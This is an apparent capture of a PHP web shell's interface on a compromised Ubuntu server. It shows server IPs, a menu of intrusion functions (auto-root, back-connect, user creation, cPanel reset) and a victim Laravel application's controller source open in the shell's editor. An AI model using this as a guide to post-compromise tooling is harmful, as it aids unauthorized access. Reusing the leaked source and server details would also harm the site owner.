Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdgamatya /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Admin
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Authentication
[ DIR ]
drwxr-xr-x
Product
[ DIR ]
drwxr-xr-x
Setting
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
Controller.php
374
B
-rw-r--r--
HomeController.php
19.22
KB
-rw-r--r--
HomeController_09.php
19.22
KB
-rw-r--r--
HomeController_09282018.php
19.22
KB
-rw-r--r--
HomeController_backup.php
18.83
KB
-rw-r--r--
HomeController_l.php
9.54
KB
-rw-r--r--
HomeController_old.php
18.83
KB
-rw-r--r--
OrderController.php
14.55
KB
-rw-r--r--
OrderController_old.php
14.55
KB
-rw-r--r--
OrderPaymentController.php
6.73
KB
-rw-r--r--
OrderPaymentController_old.php
6.73
KB
-rw-r--r--
SuperAdminController.php
3.59
KB
-rw-r--r--
SuperAdminController_old.php
3.61
KB
-rw-r--r--
WelcomeController.php
1.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HomeController_l.php
<?php namespace App\Http\Controllers; use App\Model\Receive; use App\Model\Company; use App\Model\Payment; use App\Model\Product\Product; use Illuminate\Http\Request; use App\Http\Helpers\Constants; use DB; use Sentinel; use Illuminate\Support\Facades\Artisan; class HomeController extends Controller { function __construct() { } public function dashboard() { $user = \Sentinel::getUser(); $userRole = $user->role->slug; switch ($userRole) { case Constants::ROLE_ADMIN : $data = $this->adminDashboard(); return view('layouts.admin.home', compact('data')); break; case Constants::ROLE_FACTORY : $data = $this->factoryDashboard(); return view('layouts.factory.home_old', compact('data')); break; case Constants::ROLE_RECEIVER : $data = $this->receiverDashboard(); return view('layouts.receiver.home', compact('data')); break; case Constants::ROLE_COMPANY : $data = $this->companyDashboard(); $products = $this->availableProductsCollection(); return view('layouts.company.home', compact('data','products')); break; case Constants::ROLE_SUPER_ADMIN : $data = $this->superAdminDashboard(); $advanceAmount = $this->todaysAdvanceCollection(); return view('layouts.super_admin.home', compact('data','advanceAmount')); break; } } public function permissionError() { return view('error.permission'); } public function adminDashboard() { //{Cyl.@STORE} fetch receive status [0 = Cylinder Received, 1=Confirmed By Admin, 9 = back to store] $data['received_cylinders'] = Receive::whereIn('status', [0, 1])->orderByDesc('id')->get(); //count cylinders having receive status = [0,1,9] $data['count_received_cylinders'] = Receive::whereIn('status', [0, 1])->select(DB::raw('sum(total_cylinder) as total_received_cylinder')) ->first(); //{Cyl.@FACTORY fetch receive status [2,3,4,5,6,7,8]} $data['under_process_cylinders'] = Receive::whereIn('status', [2, 3, 4, 5, 6, 7, 8])->orderByDesc('id')->get(); $data['count_under_construction_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_under_construction_cylinder')) ->whereIn('status', [2, 3, 4, 5, 6, 7, 8]) ->first(); $data['back_to_receiver'] = Receive::where('status', 9)->orderByDesc('id')->get(); $data['count_repaired_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_repaired_cylinder')) ->where('status', 9) ->first(); $data['delivered_cylinders'] = Receive::where('status', '=', 10)->orderByDesc('id')->get(); $data['count_delivered_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_delivered_cylinder')) ->where('status', 10) ->first(); $data['companywise_rate'] = DB::table('view_company_rate')->get(); $data['factorywise_rate'] = DB::table('view_factory_rate')->get(); $data['summary'] = $this->superAdminDashboard(); return $data; } protected function factoryDashboard() { //fetching receive having [status 2 = Sent To Factyory] $data['received_cylinders'] = Receive::where('status', 2)->orderByDesc('id')->get(); //fetching receives having [status 3 = Filling, 4 = Sent for confirmation,5 = Confirmed by client] $data['under_process_cylinders'] = Receive::whereIn('status', [2, 3, 4, 5, 6, 7, 8])->orderByDesc('id')->get(); //count the sum of no. of receive having [status 3,4,5,6,7,8] $data['count_under_construction_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_under_construction_cylinder')) ->whereIn('status', [2, 3, 4, 5, 6, 7, 8]) ->first(); $data['back_to_receiver'] = Receive::where('status', 6)->orderByDesc('id')->get(); //count the no. of cylinders receive having [status 2 = Sent to factory ] $data['count_received_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_received_cylinder')) ->where('status', 2) ->first(); //count the sum of no. of cylinders receive having [status 6 = repairing ] $data['count_repaired_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_repaired_cylinder')) ->where('status', 6) ->first(); $data['factorywise_rate'] = DB::table('view_factory_rate')->get(); return $data; } protected function receiverDashboard() { //{Cyl.@STORE} fetch receive status [0 = Cylinder Received, 1=Confirmed By Admin, 9 = back to store] $data['received_cylinders'] = Receive::whereIn('status', [0, 1])->orderByDesc('id')->get(); //count cylinders having receive status = [0,1,9] $data['count_received_cylinders'] = Receive::whereIn('status', [0, 1])->select(DB::raw('sum(total_cylinder) as total_received_cylinder')) ->first(); //{Cyl.@FACTORY fetch receive status [2,3,4,5,6,7,8]} $data['under_process_cylinders'] = Receive::whereIn('status', [2, 3, 4, 5, 6, 7, 8])->orderByDesc('id')->get(); $data['count_under_construction_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_under_construction_cylinder')) ->whereIn('status', [2, 3, 4, 5, 6, 7, 8]) ->first(); $data['back_to_receiver'] = Receive::where('status', 9)->orderByDesc('id')->get(); $data['count_repaired_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_repaired_cylinder')) ->where('status', 9) ->first(); $data['delivered_cylinders'] = Receive::where('status', '=', 10)->orderByDesc('id')->get(); $data['count_delivered_cylinders'] = Receive::select(DB::raw('sum(total_cylinder) as total_delivered_cylinder')) ->where('status', 10) ->first(); $data['companywise_rate'] = DB::table('view_company_rate')->get(); $data['factorywise_rate'] = DB::table('view_factory_rate')->get(); return $data; } protected function companyDashboard() { $data = []; $company_id = Company::where(['user_id'=>\Sentinel:: getUser()->id])->first()->id; $data = (array)$this->companyDashboardData($company_id); return $data; } public function superAdminDashboard() { try { $q = 'select max(receive_id) from view_company_rate group by company_id'; $selectColumns = [ 'company_name', 'with_cap', 'without_cap', 'total_cylinder', 'date', 'sum_body_leakage as body_leak', 'sum_nozzle_change as nozzle_change', 'sum_nozzle_repair as nozzle_repair', 'sum_cap_change as cap_change', 'sum_washer_change as washer_change', 'sum_refill as refill', 'company_id', 'repair_id' ]; $data = DB::table('view_company_rate') ->select($selectColumns) ->selectRaw('sum(price_nozzle_change+price_nozzle_repair+price_cap_change+price_washer_change+price_refill) as total_amount') ->whereIn('receive_id', [DB::raw($q)]) ->groupBy('company_id') ->get(); } catch (\Exception $e) { return $data = null; } // dd($data); foreach($data as $d){ $dat = DB::table('view_company_rate') ->select($selectColumns) ->selectRaw('sum(price_nozzle_change+price_nozzle_repair+price_cap_change+price_washer_change+price_refill) as total_amount') ->where('company_id', $d->company_id) ->whereNotIn('receive_id', [DB::raw($q)]) ->orderByDesc('receive_id') ->groupBy('receive_id') ->get(); $d->detail_datas = $dat; } // dd($data); return $data; } private function todaysAdvanceCollection() { return Payment::whereDate('date',\Carbon\Carbon::now()->toDateString())->sum('amount'); } public function cylinderDetails() { if (isset(request()->receive_id)) { $column = request()->column; $receive_id = request()->receive_id; $receive = Receive::with(['repair.repair_details' =>function($query) use ($column){ $query->when(($column === 'refill'),function($query) use ($column) { $query->where([$column =>1]); },function($query) use ($column){ $query->where([$column =>1,'status'=>2]); }); }])->where(['id'=>$receive_id])->first(); $data['cylinders'] = $receive->repair->repair_details; }else{ $data['cylinders'] = []; } $data['title'] = request()->column; echo view('layouts.company.cylinder_info', compact('data')); } public function clearRouteCache() { \Artisan::call('cache:clear'); \Artisan::call('config:cache'); \Artisan::call('view:clear'); \Artisan::call('clear-compiled'); \Artisan::call('route:cache'); dd('Cleared'); } public function companyDashboardData($company_id) { try { $q = 'select max(receive_id) from view_company_rate group by company_id'; $selectColumns = [ 'company_name', 'with_cap', 'without_cap', 'total_cylinder', 'date', 'sum_body_leakage', 'sum_nozzle_change', 'sum_nozzle_repair', 'sum_cap_change', 'sum_washer_change', 'sum_refill', 'company_id', 'repair_id', 'nozzle_change', 'nozzle_repair', 'cap_change', 'washer_change', 'refill', 'isBilled', 'receive_id', ]; $data = DB::table('view_company_rate') ->select($selectColumns) ->selectRaw('sum(price_nozzle_change+price_nozzle_repair+price_cap_change+price_washer_change+price_refill) as grand_total') ->whereIn('receive_id', [DB::raw($q)]) ->where('company_id',$company_id) ->groupBy('company_id') ->first(); } catch (\Exception $e) { return $data = null; } return $data; } public function availableProductsCollection(){ return Product::where(['status'=>'published'])->get(); } public function bktMigrate(){ Artisan::call('migrate'); dd('migrated successfully!!!'); } public function bktSeeding(){ Artisan::call('db:seed'); dd('seeded successfully!!!'); } }
Close